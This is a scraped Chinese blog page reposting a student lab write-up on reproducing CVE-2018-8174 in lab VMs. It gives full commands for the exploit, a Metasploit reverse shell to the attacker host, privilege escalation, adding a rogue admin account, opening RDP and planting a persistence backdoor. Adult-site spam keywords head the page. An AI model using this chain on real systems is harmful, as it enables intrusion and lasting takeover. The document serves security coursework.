日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

漏洞CNNVD-201805-248的复现与提权

發(fā)布時(shí)間:2023/12/20 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 漏洞CNNVD-201805-248的复现与提权 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
  • 實(shí)驗(yàn)原理介紹(圖文)
    本次實(shí)驗(yàn)實(shí)現(xiàn)漏洞CNNVD-201805-248的復(fù)現(xiàn)與入侵,以及后續(xù)的提權(quán)管理員和留后門操作。
    漏洞基本信息:
    漏洞名稱:Microsoft Windows VBScript 引擎安全漏洞
    CNNVD編號(hào):CNNVD-201805-248
    CVE編號(hào):CVE-2018-8174
    危害等級(jí):高危
    漏洞類型:緩沖區(qū)錯(cuò)誤
    威脅類型:遠(yuǎn)程
    發(fā)布時(shí)間:2018-05-10
    漏洞簡(jiǎn)介:Microsoft Windows 7等都是美國微軟(Microsoft)公司發(fā)布的一系列操作系統(tǒng)。Windows VBScript engine是其中的一個(gè)VBScript(腳本語言)引擎。Microsoft Windows VBScript引擎中存在遠(yuǎn)程代碼執(zhí)行漏洞。遠(yuǎn)程攻擊者可利用該漏洞在當(dāng)前用戶的上下文中執(zhí)行任意代碼,造成內(nèi)存損壞。
    漏洞POC如下:

    POC中首先定義了兩個(gè)數(shù)組array_a和array_b,并聲明了一個(gè)類Trigger,Trigger中重載了析構(gòu)函數(shù)Class_Terminate,在UAF函數(shù)中,創(chuàng)建了一個(gè)Trigger的實(shí)例賦值給數(shù)組array_a (1),并通過Erase array_a清空array_a中的元素,這時(shí)候在析構(gòu)array_a中的元素的時(shí)候會(huì)觸發(fā)腳本中Class_Terminate的調(diào)用,在Class_Terminate中增加了一個(gè)array_b(0)對(duì)Trigger實(shí)例的引用(Trigger實(shí)例引用計(jì)數(shù)+1),再通過array_a (1)= 1刪除array_a (1) 對(duì)Trigger實(shí)例的引用(Trigger實(shí)例引用計(jì)數(shù)-1)來平衡引用計(jì)數(shù),這時(shí)候Trigger實(shí)例會(huì)被釋放,但是array_b(0)仍然保留了這個(gè)Trigger實(shí)例的引用,從而array_b(0)指向了被釋放的Trigger實(shí)例的內(nèi)存,最終在TriggerVuln中通過b(0) = 0訪問未分配內(nèi)存觸發(fā)漏洞。

  • 環(huán)境配置介紹(圖文)
    攻擊機(jī)操作系統(tǒng)信息:Linux kali 4.18.0 amd64(靜態(tài)IP:192.168.3.200)
    靶機(jī)操作系統(tǒng)信息:Windows 7 Professional SP1 32位(靜態(tài)IP:192.168.3.250)
    靶機(jī)瀏覽器版本信息:IE8
    攻擊機(jī)和靶機(jī)都是部署在VMware上的虛擬機(jī)。

  • 實(shí)驗(yàn)過程詳細(xì)介紹(圖文)
    一、 部署攻擊
    第一步,利用漏洞攻擊模塊撬開win7的大門,獲得靶機(jī)的shell。

    1.下載漏洞模塊
    git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
    在攻擊機(jī)kali中打開終端,從github下載到用于攻擊該漏洞的攻擊模塊。本次實(shí)驗(yàn)使用的是”Yt1g3r”上傳的使用python語言編寫的EXP。
    2.編譯文件
    python CVE-2018-8174.py -u http://192.168.3.200/exploit.html -o msf.rtf -i 192.168.3.200 -p 4444
    進(jìn)入上面下載到的CVE-2018-8174_EXP文件夾,將py文件編譯為惡意html文件。此處 -i選項(xiàng)為kali攻擊機(jī)ip, -p選項(xiàng)為監(jiān)聽端口4444。
    3.復(fù)制文件
    cp exploit.html /var/www/html
    將上一步編譯得到的html文件復(fù)制到網(wǎng)站根目錄下,以便通過瀏覽器訪問。
    4.web服務(wù)器開啟
    service apache2 start
    開啟攻擊機(jī)的apache2服務(wù),啟動(dòng)web服務(wù)器。
    5.使用metasploit獲得靶機(jī)的shell

    打開metasploit的命令行模式,輸入以下指令:
    use exploit/multi/handler
    set PAYLOAD windows/shell/reverse_tcp
    set LHOST 192.168.3.200
    exploit
    使用metasploit的exploit/multi/handler模塊,PAYLOAD設(shè)置為windows/shell/reverse_tcp,設(shè)置相關(guān)參數(shù),開始攻擊。show options可見所有可設(shè)置項(xiàng)。LHOST設(shè)置為攻擊機(jī)ip,LPORT設(shè)置為監(jiān)聽端口,此處LPORT已經(jīng)默認(rèn)為4444,否則set LPORT 4444。
    6.靶機(jī)win7使用IE瀏覽器訪問192.168.3.200/exploit.html

    在IE中打開惡意鏈接后,雖然頁面顯示打開失敗,但是實(shí)際攻擊已經(jīng)成功,kali機(jī)獲得返回的shell。

  • 打開返回的shell。

    win7打開惡意鏈接后,在kali的metasploit中可以看見攻擊成功返回的信息,提示有“shell session opened”即已成功建立和靶機(jī)的連接會(huì)話。
    回車一下,可進(jìn)入win7的cmd。
    chcp 65001 清除亂碼。
    此時(shí)已可在cmd命令行中遠(yuǎn)程對(duì)win7進(jìn)行一些簡(jiǎn)單的操作,例如在桌面彈出一個(gè)計(jì)算器。
    而當(dāng)我們嘗試添加新用戶net user hacker 123456 /add ,發(fā)現(xiàn)指令被拒絕,說明當(dāng)前用戶權(quán)限太低。windows開機(jī)時(shí)默認(rèn)登錄一個(gè)普通用戶賬號(hào),攻擊進(jìn)行到這里只能取得和當(dāng)前用戶相同的權(quán)限,所以我們目前僅擁有普通用戶權(quán)限,所以為了對(duì)靶機(jī)進(jìn)行更多操作,我們需要進(jìn)一步進(jìn)行提權(quán)處理。

  • 二、 shell升級(jí)
    第二步,為了后續(xù)使用其他手段提權(quán),將第一步得到的shell升級(jí)為meterpreter shell。
    1.將shell轉(zhuǎn)到后臺(tái)
    Ctrl+z
    2.確認(rèn),注意這里是session 2
    y 回車

    3.查看對(duì)應(yīng)序號(hào),該session類型為shell x86/windows
    sessions -l

    4. 載入轉(zhuǎn)換模塊
    use post/multi/manage/shell_to_meterpreter
    5.設(shè)置要升級(jí)的SESSION
    set SESSION 2
    在第2步將shell轉(zhuǎn)到后臺(tái)時(shí),放到后臺(tái)的是SESSION 2,所以此處設(shè)置為SESSION2。
    6.開始攻擊
    run
    開始進(jìn)行shell類型轉(zhuǎn)換。出現(xiàn)Meterpreter session 3 opened語句,轉(zhuǎn)換成功。
    7.查看是否出現(xiàn)新的SESSION
    sessions -l
    可以看到新出現(xiàn)的SESSION3類型為meterpreter x86/windows,這就是上面的shell轉(zhuǎn)換出來的新SESSION。

    8.進(jìn)入新SESSION
    sessions -i 3
    進(jìn)入剛剛升級(jí)出來的SESSION,可以看到meterpreter > 提示符,使用一些meterpreter的指令。
    此時(shí)輸入getsystem還是顯示沒有權(quán)限 ,使用background將SESSION3再次放到后臺(tái)。

    三、 漏洞提權(quán)
    第三步,配合其他漏洞提權(quán)為管理員。

  • 在metasploit利用WebDav漏洞模塊對(duì)靶機(jī)win7進(jìn)行提權(quán)

    use exploit/windows/local/ms16_016_webdav
    set SESSION 3 (上面第二步升級(jí)后的新SESSION)
    exploit
    使用exploit/windows/local/ms16_016_webdav模塊,設(shè)置相關(guān)參數(shù),開始攻擊。此處設(shè)置SESSION為第二步得到的SESSION3。
  • sessions -i 3 (進(jìn)入win7的shell)
    3.查看可利用進(jìn)程
    ps (查看進(jìn)程,找到系統(tǒng)權(quán)限進(jìn)程號(hào)3928)

    4.遷移進(jìn)程
    migrate 3928
    遷移進(jìn)程,獲取系統(tǒng)管理員權(quán)限。
  • getuid
    查看uid,發(fā)現(xiàn)用戶名已經(jīng)是NT AUTHORITY\SYSTEM,擁有管理員權(quán)限。
  • 四、 創(chuàng)建管理員
    第四步,創(chuàng)建新的管理員權(quán)限賬號(hào)。

    1.進(jìn)入cmd shell
    shell
    從meterpreter命令行進(jìn)入win7cmd命令行。
    2.添加新用戶
    net user hack 123 /add
    創(chuàng)建用戶名是hack,密碼是123的新用戶。
    3.給新用戶添加管理員權(quán)限
    net localgroup administrators hack /add
    將剛剛創(chuàng)建的hack設(shè)為管理員。
    4.成功,已獲得該系統(tǒng)的管理員權(quán)限

    五、 遠(yuǎn)程登錄
    第五步,開啟目標(biāo)機(jī)器的3389端口,進(jìn)行遠(yuǎn)程桌面連接。
    1.查看目標(biāo)機(jī)器端口使用情況
    在cmd中使用netstat -an查看3389端口是否開啟

    并沒有開啟,所以我們需要打開該端口
    2.添加3389入站規(guī)則
    netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow

    設(shè)置防火墻允許通過3389端口遠(yuǎn)程桌面登錄。
    3.開啟端口
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

    修改注冊(cè)表開啟3389端口
    4.使用第四步中創(chuàng)建的賬戶遠(yuǎn)程登錄
    (在meterpreter)portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.3.200 (此為攻擊機(jī)kali的ip)
    (在kali終端)rdesktop -u hack -p 123 192.168.3.250
    portfwd命令在meterpreter中使用,所以本地IP填寫127.0.0.1,遠(yuǎn)端IP填寫kali機(jī)的IP,端口使用前面打開的3389端口。
    rdesktop命令-u選項(xiàng)填寫第四步中創(chuàng)建的新用戶,-p選項(xiàng)填寫該用戶的密碼,最后一個(gè)參數(shù)填寫要連接的機(jī)器,也就是靶機(jī)win7的IP地址。

    六、 裝后門
    第六步,植入后門木馬,讓靶機(jī)在重啟后仍會(huì)自動(dòng)重連到kali。
    1.生成后門木馬
    (在meterpreter)run persistence -X -i 5 -p 5000 -r 192.168.3.200 (本機(jī)IP地址)
    設(shè)置重連的IP地址和端口號(hào)。
    此時(shí),可以在遠(yuǎn)程桌面中打開”Persistent Script written”一行中顯示的路徑,確認(rèn)后綴名為vbs的木馬文件是否已成功安裝到win7。

    2.win7關(guān)機(jī)

    在meterpreter命令行中會(huì)顯示會(huì)話已關(guān)閉,本次連接已斷開。
    3.設(shè)置重連監(jiān)聽
    打開新的metasploit窗口,輸入以下命令。
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    show options
    set LHOST 192.168.3.200
    set lport 5000 #要跟設(shè)置 run persistence 時(shí)的端口一致
    exploit
    使用exploit/multi/handler模塊,設(shè)置PAYLOAD為windows/meterpreter/reverse_tcp,LHOST和lport設(shè)置為和run persistence命令中相同的IP地址和端口號(hào),開啟攻擊。此時(shí)開始監(jiān)聽來自win7的重連,當(dāng)win7重新開機(jī),木馬文件被啟動(dòng),此處將自動(dòng)收到重連的會(huì)話。
    4.在win7中執(zhí)行木馬文件

    win7再開機(jī)后會(huì)彈出木馬文件的執(zhí)行請(qǐng)求,點(diǎn)擊打開,kali機(jī)就能打開重連的會(huì)話。

  • 總結(jié)(針對(duì)實(shí)驗(yàn)內(nèi)容和實(shí)驗(yàn)過程問題總結(jié))
    這次實(shí)驗(yàn)我們認(rèn)為最難的一點(diǎn)是從拿到靶機(jī)的shell到成功提權(quán)管理員的轉(zhuǎn)接。
    一開始選擇CVE-2018-8172這個(gè)漏洞進(jìn)行復(fù)現(xiàn)的時(shí)候,我們根據(jù)找到的資料,在kali從github下載漏洞攻擊文件,編譯文件,在終端開啟監(jiān)聽,進(jìn)行攻擊,得到win7的shell,直到這一步還是很順利的,但是發(fā)現(xiàn)只是普通用戶權(quán)限,很多指令都不能用,比如創(chuàng)建新用戶,開啟程序,修改注冊(cè)表,開啟端口等。使用這些高級(jí)指令必須要得到最高的管理員權(quán)限。后來查網(wǎng)上的資料發(fā)現(xiàn)【以常規(guī)手段】在win7開啟最高的管理員權(quán)限有以下幾種辦法:
    ①在開始——運(yùn)行——輸入cmd,右鍵“以管理員身份運(yùn)行”,再進(jìn)入cmd界面,這時(shí)候上面提到的高級(jí)指令才變得可用。
    ②用戶以管理員身份開機(jī)。
    ③知道管理員用戶的密碼,輸入密碼登錄管理員賬號(hào)。
    因?yàn)槲覀兡壳皟H僅只是在kali中進(jìn)入了win7普通用戶權(quán)限的cmd shell,想要實(shí)現(xiàn)第1點(diǎn)的話,必須遠(yuǎn)程開啟win7的端口,修改win7的注冊(cè)表等等……在kali遠(yuǎn)程進(jìn)行這些操作,無疑需要獲得該靶機(jī)win7的最高的管理員權(quán)限,這里就形成了邏輯閉環(huán),因此第1點(diǎn)在普通用戶權(quán)限的shell是無法實(shí)現(xiàn)的。
    至于第2點(diǎn)的實(shí)現(xiàn)則需要一定的幾率,如果用戶以管理員身份開機(jī),則我們上面的操作就能獲得管理員權(quán)限。但是如果用戶沒有以管理員身份開機(jī)(這種情況是更加常見的,因?yàn)橐话愕膚in7用戶大多數(shù)都是以默認(rèn)的普通用戶權(quán)限開機(jī)的),則無法實(shí)現(xiàn)。我們的入侵應(yīng)該依靠win7漏洞和各種kali的滲透工具的主觀能動(dòng)性,不能把希望寄托在靶機(jī)以管理員權(quán)限開機(jī)這種偶然性事件上面。
    至于第3點(diǎn)則更難實(shí)現(xiàn)了,如果事先就已經(jīng)知道靶機(jī)用戶的密碼,那也沒有利用win7本身的漏洞秘密攻擊靶機(jī)的必要了。
    之后我們考慮尋找在可以metasploit中使用的攻擊模塊,因?yàn)槲覀兦懊娴淖龇ㄊ侵苯釉诮K端使用nc命令監(jiān)聽4444端口,雖然能打開cmd shell卻對(duì)后續(xù)提權(quán)無從下手,而在metasploit中我們會(huì)有更多可用的攻擊工具。于是我們?cè)趃ithub搜索CVE-2018-8172這個(gè)漏洞的相關(guān)攻擊模塊,找到了0x09AL這位github用戶用ruby語言寫的CVE-2018-8172的攻擊模塊下載數(shù)最多,并進(jìn)行嘗試。經(jīng)過我們的實(shí)踐之后,發(fā)現(xiàn)他寫的攻擊模塊不能成功返回shell。我們注意到readme文檔中有一句”The exploit doesn’t work very well with meterpreter shellcode so it’s better to use non-staged reverse shell.”,猜測(cè)需要換一種類型的payload。我們嘗試了幾種別的payload,發(fā)現(xiàn)也不能成功,使用single的payload甚至?xí)顬g覽器進(jìn)入未響應(yīng)狀態(tài)。最后我們判斷這個(gè)攻擊模塊不能使用,但也在此感謝一下這位0x09AL同志的付出。
    這樣看來漏洞CVE-2018-8172似乎只能走到這步了,但是我和我的組員還是不甘于這個(gè)結(jié)果,指導(dǎo)老師給了我們提示:可結(jié)合其他漏洞和方法進(jìn)行入侵。
    一開始我查閱資料,找到了一種似乎可以提權(quán)的方法,在cmd 中輸入at 16:53 /interactive cmd ,使用taskmgr命令打開任務(wù)管理器,殺死現(xiàn)用戶桌面進(jìn)程(explorer.exe),新建explorer.exe,則整個(gè)界面都在管理員(因?yàn)楫?dāng)前的explorer進(jìn)程是在system權(quán)限運(yùn)行的),然后再重新打開cmd,當(dāng)前用戶就變成system了。但是實(shí)踐發(fā)現(xiàn)這些指令只在xp系統(tǒng)有效,在win7系統(tǒng)的環(huán)境下運(yùn)行這些指令會(huì)被限制導(dǎo)致提權(quán)失敗,而且這種提權(quán)的方式是沒有用到CVE-2018-8172這個(gè)漏洞的,就和這個(gè)網(wǎng)絡(luò)攻防題目相沖突了,遂放棄。
    kali自帶的滲透工具metasploit裝有許多提權(quán)漏洞的攻擊模塊,如永恒之藍(lán),ms13_053,ms14_058,ms16_016,ms16_032等,但是發(fā)現(xiàn)這些提權(quán)漏洞的可填參數(shù)很簡(jiǎn)單,是一個(gè)session,也就是說利用這些漏洞入侵的前提是要有一個(gè)meterpreter的session。
    然后我們梳理了漏洞入侵的一般流程,想到利用python語言的那個(gè)攻擊腳本進(jìn)入到win7的cmd的時(shí)候已經(jīng)成功返回了一個(gè)shell,只是不是meterpreter類型的session,但這不失為一個(gè)機(jī)會(huì),只要我們將在終端進(jìn)行的監(jiān)聽接入到metasploit來進(jìn)行,就可能有機(jī)會(huì)利用到metasploit自帶的豐富的攻擊模塊。
    于是我們?cè)俨殚嗁Y料,學(xué)到了利用metasploit中的shell_to_meterpreter這個(gè)模塊,我們成功把win7的shell轉(zhuǎn)換成meterpreter shell,產(chǎn)生了一個(gè)meterpreter的session。然后再利用ms16_016_webdav這個(gè)漏洞,填入session參數(shù),成功進(jìn)行進(jìn)一步提權(quán)。
    后續(xù)我們參考了課件“溢出實(shí)驗(yàn)”中遠(yuǎn)程連接和留后門的操作,都比較順利。
    這次實(shí)驗(yàn)比較大的經(jīng)驗(yàn)教訓(xùn)是,當(dāng)一條路走不通的時(shí)候,可以腳踩多條路一個(gè)急轉(zhuǎn)彎,觸類旁通是有益的。
  • 總結(jié)

    以上是生活随笔為你收集整理的漏洞CNNVD-201805-248的复现与提权的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。